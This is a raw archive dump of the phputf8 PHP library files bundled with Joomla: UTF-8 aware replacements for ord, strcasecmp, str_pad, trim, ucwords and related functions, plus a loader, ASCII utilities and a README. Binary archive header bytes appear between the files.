0x03CC=>0x038C, 0x00E9=>0x00C9,
0x00F0=>0x00D0, 0x0457=>0x0407, 0x0123=>0x0122,
);
}
$uni = utf8_to_unicode($string);
if ( !$uni ) {
return FALSE;
}
$cnt = count($uni);
for ($i=0; $i < $cnt; $i++){
if( isset($UTF8_LOWER_TO_UPPER[$uni[$i]]) ) {
$uni[$i] = $UTF8_LOWER_TO_UPPER[$uni[$i]];
}
}
return utf8_from_unicode($uni);
}
PKDž�[�ь�J
J
string/src/phputf8/ord.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to ord
* Returns the unicode ordinal for a character
*
* Joomla modification - As of PHP 7.4, curly brace access has been
deprecated. As a result this function has been
* modified to use square brace syntax
* See
https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a
* for additional references
*
* @param string UTF-8 encoded character
* @return int unicode ordinal for the character
* @see http://www.php.net/ord
* @see http://www.php.net/manual/en/function.ord.php#46267
*/
function utf8_ord($chr) {
$ord0 = ord($chr);
if ( $ord0 >= 0 && $ord0 <= 127 ) {
return $ord0;
}
if ( !isset($chr[1]) ) {
trigger_error('Short sequence - at least 2 bytes expected,
only 1 seen');
return FALSE;
}
$ord1 = ord($chr[1]);
if ( $ord0 >= 192 && $ord0 <= 223 ) {
return ( $ord0 - 192 ) * 64
+ ( $ord1 - 128 );
}
if ( !isset($chr[2]) ) {
trigger_error('Short sequence - at least 3 bytes expected,
only 2 seen');
return FALSE;
}
$ord2 = ord($chr[2]);
if ( $ord0 >= 224 && $ord0 <= 239 ) {
return ($ord0-224)*4096
+ ($ord1-128)*64
+ ($ord2-128);
}
if ( !isset($chr[3]) ) {
trigger_error('Short sequence - at least 4 bytes expected,
only 3 seen');
return FALSE;
}
$ord3 = ord($chr[3]);
if ($ord0>=240 && $ord0<=247) {
return ($ord0-240)*262144
+ ($ord1-128)*4096
+ ($ord2-128)*64
+ ($ord3-128);
}
if ( !isset($chr[4]) ) {
trigger_error('Short sequence - at least 5 bytes expected,
only 4 seen');
return FALSE;
}
$ord4 = ord($chr[4]);
if ($ord0>=248 && $ord0<=251) {
return ($ord0-248)*16777216
+ ($ord1-128)*262144
+ ($ord2-128)*4096
+ ($ord3-128)*64
+ ($ord4-128);
}
if ( !isset($chr[5]) ) {
trigger_error('Short sequence - at least 6 bytes expected,
only 5 seen');
return FALSE;
}
if ($ord0>=252 && $ord0<=253) {
return ($ord0-252) * 1073741824
+ ($ord1-128)*16777216
+ ($ord2-128)*262144
+ ($ord3-128)*4096
+ ($ord4-128)*64
+ (ord($chr[5])-128);
}
if ( $ord0 >= 254 && $ord0 <= 255 ) {
trigger_error('Invalid UTF-8 with surrogate ordinal
'.$ord0);
return FALSE;
}
}
PKDž�[�����string/src/phputf8/READMEnu�[���++PHP
UTF-8++
Version 0.5
++DOCUMENTATION++
Documentation in progress in ./docs dir
http://www.phpwact.org/php/i18n/charsets
http://www.phpwact.org/php/i18n/utf-8
Important Note: DO NOT use these functions without understanding WHY
you are using them. In particular, do not blindly replace all use of
PHP's
string functions which functions found here - most of the time you will
not need to, and you will be introducing a significant performance
overhead to your application. You can get a good idea of when to use what
from reading: http://www.phpwact.org/php/i18n/utf-8
Important Note: For sake of performance most of the functions here are
not "defensive" (e.g. there is not extensive parameter checking,
well
formed UTF-8 is assumed). This is particularily relevant when is comes to
catching badly formed UTF-8 - you should screen input on the "outer
perimeter" with help from functions in the utf8_validation.php and
utf8_bad.php files.
Important Note: this library treats ALL ASCII characters as valid,
including ASCII control characters. But if you use some ASCII control
characters in XML, it will render the XML ill-formed. Don't be a bozo:
http://hsivonen.iki.fi/producing-xml/#controlchar
++BUGS / SUPPORT / FEATURE REQUESTS ++
Please report bugs to:
http://sourceforge.net/tracker/?group_id=142846&atid=753842
- if you are able, please submit a failing unit test
(http://www.lastcraft.com/simple_test.php) with your bug report.
For feature requests / faster implementation of functions found here,
please drop them in via the RFE tracker:
http://sourceforge.net/tracker/?group_id=142846&atid=753845
Particularily interested in faster implementations!
For general support / help, use:
http://sourceforge.net/tracker/?group_id=142846&atid=753843
In the VERY WORST case, you can email me: hfuecks gmail com - I tend to be
slow to respond though so be warned.
Important Note: when reporting bugs, please provide the following
information;
PHP version, whether the iconv extension is loaded (in PHP5 it's
there by default), whether the mbstring extension is loaded. The
following PHP script can be used to determine this information;
<?php
print "PHP Version: " .phpversion()."<br>";
if ( extension_loaded('mbstring') ) {
print "mbstring available<br>";
} else {
print "mbstring not available<br>";
}
if ( extension_loaded('iconv') ) {
print "iconv available<br>";
} else {
print "iconv not available<br>";
}
?>
++LICENSING++
Parts of the code in this library come from other places, under different
licenses.
The authors involved have been contacted (see below). Attribution for
which code came from elsewhere can be found in the source code itself.
+Andreas Gohr / Chris Smith - Dokuwiki
There is a fair degree of collaboration / exchange of ideas and code
beteen Dokuwiki's UTF-8 library;
http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
and phputf8. Although Dokuwiki is released under GPL, its UTF-8
library is released under LGPL, hence no conflict with phputf8
+Henri Sivonen (http://hsivonen.iki.fi/php-utf8/ /
http://hsivonen.iki.fi/php-utf8/) has also given permission for his
code to be released under the terms of the LGPL. He ported a Unicode /
UTF-8
converter from the Mozilla codebase to PHP, which is re-used in phputf8
PKDž�[OX5��!string/src/phputf8/strcasecmp.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strcasecmp
* A case insensivite string comparison
* Note: requires utf8_strtolower
* @param string
* @param string
* @return int
* @see http://www.php.net/strcasecmp
* @see utf8_strtolower
* @package utf8
*/
function utf8_strcasecmp($strX, $strY) {
$strX = utf8_strtolower($strX);
$strY = utf8_strtolower($strY);
return strcmp($strX, $strY);
}
PKDž�[��)-BBstring/src/phputf8/strcspn.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strcspn
* Find length of initial segment not matching mask
* Note: requires utf8_strlen and utf8_substr (if start, length are used)
* @param string
* @return int
* @see http://www.php.net/strcspn
* @see utf8_strlen
* @package utf8
*/
function utf8_strcspn($str, $mask, $start = NULL, $length = NULL) {
if ( empty($mask) || strlen($mask) == 0 ) {
return NULL;
}
$mask =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask);
if ( $start !== NULL || $length !== NULL ) {
$str = utf8_substr($str, $start, $length);
}
preg_match('/^[^'.$mask.']+/u',$str, $matches);
if ( isset($matches[0]) ) {
return utf8_strlen($matches[0]);
}
return 0;
}
PKDž�[iؚ�string/src/phputf8/stristr.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to stristr
* Find first occurrence of a string using case insensitive comparison
* Note: requires utf8_strtolower
* @param string
* @param string
* @return int
* @see http://www.php.net/strcasecmp
* @see utf8_strtolower
* @package utf8
*/
function utf8_stristr($str, $search) {
if ( strlen($search) == 0 ) {
return $str;
}
$lstr = utf8_strtolower($str);
$lsearch = utf8_strtolower($search);
//JOOMLA SPECIFIC FIX - BEGIN
preg_match('/^(.*)'.preg_quote($lsearch,
'/').'/Us',$lstr, $matches);
//JOOMLA SPECIFIC FIX - END
if ( count($matches) == 2 ) {
return substr($str, strlen($matches[1]));
}
return FALSE;
}
PKDž�[��{���string/src/phputf8/strrev.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strrev
* Reverse a string
* @param string UTF-8 encoded
* @return string characters in string reverses
* @see http://www.php.net/strrev
* @package utf8
*/
function utf8_strrev($str){
preg_match_all('/./us', $str, $ar);
return join('',array_reverse($ar[0]));
}
PKDž�[:a �__string/src/phputf8/strspn.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strspn
* Find length of initial segment matching mask
* Note: requires utf8_strlen and utf8_substr (if start, length are used)
* @param string
* @return int
* @see http://www.php.net/strspn
* @package utf8
*/
function utf8_strspn($str, $mask, $start = NULL, $length = NULL) {
$mask =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask);
// Fix for $start but no $length argument.
if ($start !== null && $length === null) {
$length = utf8_strlen($str);
}
if ( $start !== NULL || $length !== NULL ) {
$str = utf8_substr($str, $start, $length);
}
preg_match('/^['.$mask.']+/u',$str, $matches);
if ( isset($matches[0]) ) {
return utf8_strlen($matches[0]);
}
return 0;
}
PKDž�[@�����#string/src/phputf8/str_ireplace.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to str_ireplace
* Case-insensitive version of str_replace
* Note: requires utf8_strtolower
* Note: it's not fast and gets slower if $search / $replace is array
* Notes: it's based on the assumption that the lower and uppercase
* versions of a UTF-8 character will have the same length in bytes
* which is currently true given the hash table to strtolower
* @param string
* @return string
* @see http://www.php.net/str_ireplace
* @see utf8_strtolower
* @package utf8
*/
function utf8_ireplace($search, $replace, $str, $count = NULL){
if ( !is_array($search) ) {
$slen = strlen($search);
if ( $slen == 0 ) {
return $str;
}
$lendif = strlen($replace) - strlen($search);
$search = utf8_strtolower($search);
$search = preg_quote($search, '/');
$lstr = utf8_strtolower($str);
$i = 0;
$matched = 0;
while ( preg_match('/(.*)'.$search.'/Us',$lstr,
$matches) ) {
if ( $i === $count ) {
break;
}
$mlen = strlen($matches[0]);
$lstr = substr($lstr, $mlen);
$str = substr_replace($str, $replace,
$matched+strlen($matches[1]), $slen);
$matched += $mlen + $lendif;
$i++;
}
return $str;
} else {
foreach ( array_keys($search) as $k ) {
if ( is_array($replace) ) {
if ( array_key_exists($k,$replace) ) {
$str = utf8_ireplace($search[$k], $replace[$k], $str,
$count);
} else {
$str = utf8_ireplace($search[$k], '', $str,
$count);
}
} else {
$str = utf8_ireplace($search[$k], $replace, $str, $count);
}
}
return $str;
}
}
PKDž�[�uwwstring/src/phputf8/str_pad.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* Replacement for str_pad. $padStr may contain multi-byte characters.
*
* @author Oliver Saunders <oliver (a) osinternetservices.com>
* @param string $input
* @param int $length
* @param string $padStr
* @param int $type ( same constants as str_pad )
* @return string
* @see http://www.php.net/str_pad
* @see utf8_substr
* @package utf8
*/
function utf8_str_pad($input, $length, $padStr = ' ', $type =
STR_PAD_RIGHT) {
$inputLen = utf8_strlen($input);
if ($length <= $inputLen) {
return $input;
}
$padStrLen = utf8_strlen($padStr);
$padLen = $length - $inputLen;
if ($type == STR_PAD_RIGHT) {
$repeatTimes = ceil($padLen / $padStrLen);
return utf8_substr($input . str_repeat($padStr, $repeatTimes), 0,
$length);
}
if ($type == STR_PAD_LEFT) {
$repeatTimes = ceil($padLen / $padStrLen);
return utf8_substr(str_repeat($padStr, $repeatTimes), 0,
floor($padLen)) . $input;
}
if ($type == STR_PAD_BOTH) {
$padLen/= 2;
$padAmountLeft = floor($padLen);
$padAmountRight = ceil($padLen);
$repeatTimesLeft = ceil($padAmountLeft / $padStrLen);
$repeatTimesRight = ceil($padAmountRight / $padStrLen);
$paddingLeft = utf8_substr(str_repeat($padStr, $repeatTimesLeft),
0, $padAmountLeft);
$paddingRight = utf8_substr(str_repeat($padStr, $repeatTimesRight),
0, $padAmountLeft);
return $paddingLeft . $input . $paddingRight;
}
trigger_error('utf8_str_pad: Unknown padding type (' . $type
. ')',E_USER_ERROR);
}
PKDž�[�^���
string/src/phputf8/str_split.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to str_split
* Convert a string to an array
* Note: requires utf8_strlen to be loaded
* @param string UTF-8 encoded
* @param int number to characters to split string by
* @return string characters in string reverses
* @see http://www.php.net/str_split
* @see utf8_strlen
* @package utf8
*/
function utf8_str_split($str, $split_len = 1) {
if ( !preg_match('/^[0-9]+$/',$split_len) || $split_len <
1 ) {
return FALSE;
}
$len = utf8_strlen($str);
if ( $len <= $split_len ) {
return array($str);
}
preg_match_all('/.{'.$split_len.'}|[^\x00]{1,'.$split_len.'}$/us',
$str, $ar);
return $ar[0];
}
PKDž�[���22%string/src/phputf8/substr_replace.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware substr_replace.
* Note: requires utf8_substr to be loaded
* @see http://www.php.net/substr_replace
* @see utf8_strlen
* @see utf8_substr
*/
function utf8_substr_replace($str, $repl, $start , $length = NULL ) {
preg_match_all('/./us', $str, $ar);
preg_match_all('/./us', $repl, $rar);
if( $length === NULL ) {
$length = utf8_strlen($str);
}
array_splice( $ar[0], $start, $length, $rar[0] );
return join('',$ar[0]);
}
PKDž�[���RRstring/src/phputf8/trim.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware replacement for ltrim()
* Note: you only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise ltrim will
* work normally on a UTF-8 string
* @author Andreas Gohr <andi@splitbrain.org>
* @see http://www.php.net/ltrim
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @return string
* @package utf8
*/
function utf8_ltrim( $str, $charlist = FALSE ) {
if($charlist === FALSE) return ltrim($str);
//quote charlist for use in a characterclass
$charlist =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist);
return
preg_replace('/^['.$charlist.']+/u','',$str);
}
//---------------------------------------------------------------
/**
* UTF-8 aware replacement for rtrim()
* Note: you only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise rtrim will
* work normally on a UTF-8 string
* @author Andreas Gohr <andi@splitbrain.org>
* @see http://www.php.net/rtrim
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @return string
* @package utf8
*/
function utf8_rtrim( $str, $charlist = FALSE ) {
if($charlist === FALSE) return rtrim($str);
//quote charlist for use in a characterclass
$charlist =
preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist);
return
preg_replace('/['.$charlist.']+$/u','',$str);
}
//---------------------------------------------------------------
/**
* UTF-8 aware replacement for trim()
* Note: you only need to use this if you are supplying the charlist
* optional arg and it contains UTF-8 characters. Otherwise trim will
* work normally on a UTF-8 string
* @author Andreas Gohr <andi@splitbrain.org>
* @see http://www.php.net/trim
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @return string
* @package utf8
*/
function utf8_trim( $str, $charlist = FALSE ) {
if($charlist === FALSE) return trim($str);
return utf8_ltrim(utf8_rtrim($str, $charlist), $charlist);
}
PKDž�[�����string/src/phputf8/ucfirst.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to ucfirst
* Make a string's first character uppercase
* Note: requires utf8_strtoupper
* @param string
* @return string with first character as upper case (if applicable)
* @see http://www.php.net/ucfirst
* @see utf8_strtoupper
* @package utf8
*/
function utf8_ucfirst($str){
switch ( utf8_strlen($str) ) {
case 0:
return '';
break;
case 1:
return utf8_strtoupper($str);
break;
default:
preg_match('/^(.{1})(.*)$/us', $str, $matches);
return utf8_strtoupper($matches[1]).$matches[2];
break;
}
}
PKDž�[O�y�ttstring/src/phputf8/ucwords.phpnu�[���<?php
/**
* @package utf8
*/
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to ucwords
* Uppercase the first character of each word in a string
* Note: requires utf8_substr_replace and utf8_strtoupper
* @param string
* @return string with first char of each word uppercase
* @see http://www.php.net/ucwords
* @package utf8
*/
function utf8_ucwords($str) {
// Note: [\x0c\x09\x0b\x0a\x0d\x20] matches;
// form feeds, horizontal tabs, vertical tabs, linefeeds and carriage
returns
// This corresponds to the definition of a "word" defined at
http://www.php.net/ucwords
$pattern =
'/(^|([\x0c\x09\x0b\x0a\x0d\x20]+))([^\x0c\x09\x0b\x0a\x0d\x20]{1})[^\x0c\x09\x0b\x0a\x0d\x20]*/u';
return preg_replace_callback($pattern,
'utf8_ucwords_callback',$str);
}
//---------------------------------------------------------------
/**
* Callback function for preg_replace_callback call in utf8_ucwords
* You don't need to call this yourself
* @param array of matches corresponding to a single word
* @return string with first char of the word in uppercase
* @see utf8_ucwords
* @see utf8_strtoupper
* @package utf8
*/
function utf8_ucwords_callback($matches) {
$leadingws = $matches[2];
$ucfirst = utf8_strtoupper($matches[3]);
$ucword = utf8_substr_replace(ltrim($matches[0]),$ucfirst,0,1);
return $leadingws . $ucword;
}
PKDž�[���ռ
�
string/src/phputf8/utf8.phpnu�[���<?php
/**
* This is the dynamic loader for the library. It checks whether you have
* the mbstring extension available and includes relevant files
* on that basis, falling back to the native (as in written in PHP) version
* if mbstring is unavailabe.
*
* It's probably easiest to use this, if you don't want to
understand
* the dependencies involved, in conjunction with PHP versions etc. At
* the same time, you might get better performance by managing loading
* yourself. The smartest way to do this, bearing in mind performance,
* is probably to "load on demand" - i.e. just before you use
these
* functions in your code, load the version you need.
*
* It makes sure the the following functions are available;
* utf8_strlen, utf8_strpos, utf8_strrpos, utf8_substr,
* utf8_strtolower, utf8_strtoupper
* Other functions in the ./native directory depend on these
* six functions being available
* @package utf8
*/
/**
* Put the current directory in this constant
*/
if ( !defined('UTF8') ) {
define('UTF8',dirname(__FILE__));
}
/**
* If string overloading is active, it will break many of the
* native implementations. mbstring.func_overload must be set
* to 0, 1 or 4 in php.ini (string overloading disabled).
* Also need to check we have the correct internal mbstring
* encoding
*/
if ( extension_loaded('mbstring')) {
/*
* Joomla modification - As of PHP 8, the `mbstring.func_overload`
configuration has been removed and the
* MB_OVERLOAD_STRING constant will no longer be present, so this check
only runs for PHP 7 and older
* See
https://github.com/php/php-src/commit/331e56ce38a91e87a6fb8e88154bb5bde445b132
* and
https://github.com/php/php-src/commit/97df99a6d7d96a886ac143337fecad775907589a
* for additional references
*/
if ( PHP_VERSION_ID < 80000 && ((int)
ini_get('mbstring.func_overload')) & MB_OVERLOAD_STRING ) {
trigger_error('String functions are overloaded by
mbstring',E_USER_ERROR);
}
mb_internal_encoding('UTF-8');
}
/**
* Check whether PCRE has been compiled with UTF-8 support
*/
$UTF8_ar = array();
if ( preg_match('/^.{1}$/u',"ñ",$UTF8_ar) != 1 ) {
trigger_error('PCRE is not compiled with UTF-8
support',E_USER_ERROR);
}
unset($UTF8_ar);
/**
* Load the smartest implementations of utf8_strpos, utf8_strrpos
* and utf8_substr
*/
if ( !defined('UTF8_CORE') ) {
if ( function_exists('mb_substr') ) {
require_once UTF8 . '/mbstring/core.php';
} else {
require_once UTF8 . '/utils/unicode.php';
require_once UTF8 . '/native/core.php';
}
}
/**
* Load the native implementation of utf8_substr_replace
*/
require_once UTF8 . '/substr_replace.php';
/**
* You should now be able to use all the other utf_* string functions
*/
PKDž�[Qc�!!"string/src/phputf8/utils/ascii.phpnu�[���<?php
/**
* Tools to help with ASCII in UTF-8
*
* @package utf8
*/
//--------------------------------------------------------------------
/**
* Tests whether a string contains only 7bit ASCII bytes.
* You might use this to conditionally check whether a string
* needs handling as UTF-8 or not, potentially offering performance
* benefits by using the native PHP equivalent if it's just ASCII e.g.;
*
* <code>
* if ( utf8_is_ascii($someString) ) {
* // It's just ASCII - use the native PHP version
* $someString = strtolower($someString);
* } else {
* $someString = utf8_strtolower($someString);
* }
* </code>
*
* @param string
* @return boolean TRUE if it's all ASCII
* @package utf8
* @see utf8_is_ascii_ctrl
*/
function utf8_is_ascii($str) {
// Search for any bytes which are outside the ASCII range...
return (preg_match('/(?:[^\x00-\x7F])/',$str) !== 1);
}
//--------------------------------------------------------------------
/**
* Tests whether a string contains only 7bit ASCII bytes with device
* control codes omitted. The device control codes can be found on the
* second table here: http://www.w3schools.com/tags/ref_ascii.asp
*
* @param string
* @return boolean TRUE if it's all ASCII without device control codes
* @package utf8
* @see utf8_is_ascii
*/
function utf8_is_ascii_ctrl($str) {
if ( strlen($str) > 0 ) {
// Search for any bytes which are outside the ASCII range,
// or are device control codes
return (preg_match('/[^\x09\x0A\x0D\x20-\x7E]/',$str) !==
1);
}
return FALSE;
}
//--------------------------------------------------------------------
/**
* Strip out all non-7bit ASCII bytes
* If you need to transmit a string to system which you know can only
* support 7bit ASCII, you could use this function.
* @param string
* @return string with non ASCII bytes removed
* @package utf8
* @see utf8_strip_non_ascii_ctrl
*/
function utf8_strip_non_ascii($str) {
ob_start();
while ( preg_match(
'/^([\x00-\x7F]+)|([^\x00-\x7F]+)/S',
$str, $matches) ) {
if ( !isset($matches[2]) ) {
echo $matches[0];
}
$str = substr($str, strlen($matches[0]));
}
$result = ob_get_contents();
ob_end_clean();
return $result;
}
//--------------------------------------------------------------------
/**
* Strip out device control codes in the ASCII range
* which are not permitted in XML. Note that this leaves
* multi-byte characters untouched - it only removes device
* control codes
* @see http://hsivonen.iki.fi/producing-xml/#controlchar
* @param string
* @return string control codes removed
*/
function utf8_strip_ascii_ctrl($str) {
ob_start();
while ( preg_match(
'/^([^\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)|([\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)/S',
$str, $matches) ) {
if ( !isset($matches[2]) ) {
echo $matches[0];
}
$str = substr($str, strlen($matches[0]));
}
$result = ob_get_contents();
ob_end_clean();
return $result;
}
//--------------------------------------------------------------------
/**
* Strip out all non 7bit ASCII bytes and ASCII device control codes.
* For a list of ASCII device control codes see the 2nd table here:
* http://www.w3schools.com/tags/ref_ascii.asp
*
* @param string
* @return boolean TRUE if it's all ASCII
* @package utf8
*/
function utf8_strip_non_ascii_ctrl($str) {
ob_start();
while ( preg_match(
'/^([\x09\x0A\x0D\x20-\x7E]+)|([^\x09\x0A\x0D\x20-\x7E]+)/S',
$str, $matches) ) {
if ( !isset($matches[2]) ) {
echo $matches[0];
}
$str = substr($str, strlen($matches[0]));
}
$result = ob_get_contents();
ob_end_clean();
return $result;
}
//---------------------------------------------------------------
/**
* Replace accented UTF-8 characters by unaccented ASCII-7
"equivalents".
* The purpose of this function is to replace characters commonly found in
Latin
* alphabets with something more or less equivalent from the ASCII range.
This can
* be useful for converting a UTF-8 to something ready for a filename, for
example.
* Following the use of this function, you would probably also pass the
string
* through utf8_strip_non_ascii to clean out any other non-ASCII chars
* Use the optional parameter to just deaccent lower ($case = -1) or upper
($case = 1)
* letters. Default is to deaccent both cases ($case = 0)
*
* For a more complete implementation of transliteration, see the
utf8_to_ascii package
* available from the phputf8 project downloads:
* http://prdownloads.sourceforge.net/phputf8
*
* @param string UTF-8 string
* @param int (optional) -1 lowercase only, +1 uppercase only, 1 both cases
* @param string UTF-8 with accented characters replaced by ASCII chars
* @return string accented chars replaced with ascii equivalents
* @author Andreas Gohr <andi@splitbrain.org>
* @package utf8
*/
function utf8_accents_to_ascii( $str, $case=0 ){
static $UTF8_LOWER_ACCENTS = NULL;
static $UTF8_UPPER_ACCENTS = NULL;
if($case <= 0){
if ( is_null($UTF8_LOWER_ACCENTS) ) {
$UTF8_LOWER_ACCENTS = array(
'à' => 'a', 'ô' => 'o',
'ď' => 'd', 'ḟ' => 'f',
'ë' => 'e', 'š' => 's',
'ơ' => 'o',
'ß' => 'ss', 'ă' => 'a',
'ř' => 'r', 'ț' => 't',
'ň' => 'n', 'ā' => 'a',
'ķ' => 'k',
'ŝ' => 's', 'ỳ' => 'y',
'ņ' => 'n', 'ĺ' => 'l',
'ħ' => 'h', 'ṗ' => 'p',
'ó' => 'o',
'ú' => 'u', 'ě' => 'e',
'é' => 'e', 'ç' => 'c',
'ẁ' => 'w', 'ċ' => 'c',
'õ' => 'o',
'ṡ' => 's', 'ø' => 'o',
'ģ' => 'g', 'ŧ' => 't',
'ș' => 's', 'ė' => 'e',
'ĉ' => 'c',
'ś' => 's', 'î' => 'i',
'ű' => 'u', 'ć' => 'c',
'ę' => 'e', 'ŵ' => 'w',
'ṫ' => 't',
'ū' => 'u', 'č' => 'c',
'ö' => 'oe', 'è' => 'e',
'ŷ' => 'y', 'ą' => 'a',
'ł' => 'l',
'ų' => 'u', 'ů' => 'u',
'ş' => 's', 'ğ' => 'g',
'ļ' => 'l', 'ƒ' => 'f',
'ž' => 'z',
'ẃ' => 'w', 'ḃ' => 'b',
'å' => 'a', 'ì' => 'i',
'ï' => 'i', 'ḋ' => 'd',
'ť' => 't',
'ŗ' => 'r', 'ä' => 'ae',
'í' => 'i', 'ŕ' => 'r',
'ê' => 'e', 'ü' => 'ue',
'ò' => 'o',
'ē' => 'e', 'ñ' => 'n',
'ń' => 'n', 'ĥ' => 'h',
'ĝ' => 'g', 'đ' => 'd',
'ĵ' => 'j',
'ÿ' => 'y', 'ũ' => 'u',
'ŭ' => 'u', 'ư' => 'u',
'ţ' => 't', 'ý' => 'y',
'ő' => 'o',
'â' => 'a', 'ľ' => 'l',
'ẅ' => 'w', 'ż' => 'z',
'ī' => 'i', 'ã' => 'a',
'ġ' => 'g',
'ṁ' => 'm', 'ō' => 'o',
'ĩ' => 'i', 'ù' => 'u',
'į' => 'i', 'ź' => 'z',
'á' => 'a',
'û' => 'u', 'þ' => 'th',
'ð' => 'dh', 'æ' => 'ae',
'µ' => 'u', 'ĕ' => 'e',
);
}
$str = str_replace(
array_keys($UTF8_LOWER_ACCENTS),
array_values($UTF8_LOWER_ACCENTS),
$str
);
}
if($case >= 0){
if ( is_null($UTF8_UPPER_ACCENTS) ) {
$UTF8_UPPER_ACCENTS = array(
'À' => 'A', 'Ô' => 'O',
'Ď' => 'D', 'Ḟ' => 'F',
'Ë' => 'E', 'Š' => 'S',
'Ơ' => 'O',
'Ă' => 'A', 'Ř' => 'R',
'Ț' => 'T', 'Ň' => 'N',
'Ā' => 'A', 'Ķ' => 'K',
'Ŝ' => 'S', 'Ỳ' => 'Y',
'Ņ' => 'N', 'Ĺ' => 'L',
'Ħ' => 'H', 'Ṗ' => 'P',
'Ó' => 'O',
'Ú' => 'U', 'Ě' => 'E',
'É' => 'E', 'Ç' => 'C',
'Ẁ' => 'W', 'Ċ' => 'C',
'Õ' => 'O',
'Ṡ' => 'S', 'Ø' => 'O',
'Ģ' => 'G', 'Ŧ' => 'T',
'Ș' => 'S', 'Ė' => 'E',
'Ĉ' => 'C',
'Ś' => 'S', 'Î' => 'I',
'Ű' => 'U', 'Ć' => 'C',
'Ę' => 'E', 'Ŵ' => 'W',
'Ṫ' => 'T',
'Ū' => 'U', 'Č' => 'C',
'Ö' => 'Oe', 'È' => 'E',
'Ŷ' => 'Y', 'Ą' => 'A',
'Ł' => 'L',
'Ų' => 'U', 'Ů' => 'U',
'Ş' => 'S', 'Ğ' => 'G',
'Ļ' => 'L', 'Ƒ' => 'F',
'Ž' => 'Z',
'Ẃ' => 'W', 'Ḃ' => 'B',
'Å' => 'A', 'Ì' => 'I',
'Ï' => 'I', 'Ḋ' => 'D',
'Ť' => 'T',
'Ŗ' => 'R', 'Ä' => 'Ae',
'Í' => 'I', 'Ŕ' => 'R',
'Ê' => 'E', 'Ü' => 'Ue',
'Ò' => 'O',
'Ē' => 'E', 'Ñ' => 'N',
'Ń' => 'N', 'Ĥ' => 'H',
'Ĝ' => 'G', 'Đ' => 'D',
'Ĵ' => 'J',
'Ÿ' => 'Y', 'Ũ' => 'U',
'Ŭ' => 'U', 'Ư' => 'U',
'Ţ' => 'T', 'Ý' => 'Y',
'Ő' => 'O',
'Â' => 'A', 'Ľ' => 'L',
'Ẅ' => 'W', 'Ż' => 'Z',
'Ī' => 'I', 'Ã' => 'A',
'Ġ' => 'G',
'Ṁ' => 'M', 'Ō' => 'O',
'Ĩ' => 'I', 'Ù' => 'U',
'Į' => 'I', 'Ź' => 'Z',
'Á' => 'A',
'Û' => 'U', 'Þ' => 'Th',
'Ð' => 'Dh', 'Æ' => 'Ae',
'Ĕ' => 'E',
);
}
$str = str_replace(
array_keys($UTF8_UPPER_ACCENTS),
array_values($UTF8_UPPER_ACCENTS),
$str
);
}
return $str;
}
PKDž�[����6�6
string/src/phputf8/utils/bad.phpnu�[���<?php
/**
* Tools for locating / replacing bad bytes in UTF-8 strings
* The Original Code is Mozilla Communicator client code.
* The Initial Developer of the Original Code is
* Netscape Communications Corporation.
* Portions created by the Initial Developer are Copyright (C) 1998
* the Initial Developer. All Rights Reserved.
* Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi)
* Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks
gmail com)
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp
* @see
http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp
* @see http://hsivonen.iki.fi/php-utf8/
* @package utf8
* @see utf8_is_valid
*/
//--------------------------------------------------------------------
/**
* Locates the first bad byte in a UTF-8 string returning it's
* byte index in the string
* PCRE Pattern to locate bad bytes in a UTF-8 string
* Comes from W3 FAQ: Multilingual Forms
* Note: modified to include full ASCII range including control chars
* @see http://www.w3.org/International/questions/qa-forms-utf-8
* @param string
* @return mixed integer byte index or FALSE if no bad found
* @package utf8
*/
function utf8_bad_find($str) {
$UTF8_BAD =
'([\x00-\x7F]'. # ASCII (including
control chars)
'|[\xC2-\xDF][\x80-\xBF]'. # non-overlong
2-byte
'|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding
overlongs
'|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte
'|\xED[\x80-\x9F][\x80-\xBF]'. # excluding
surrogates
'|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3
'|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15
'|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16
'|(.{1}))'; # invalid byte
$pos = 0;
$badList = array();
while (preg_match('/'.$UTF8_BAD.'/S', $str,
$matches)) {
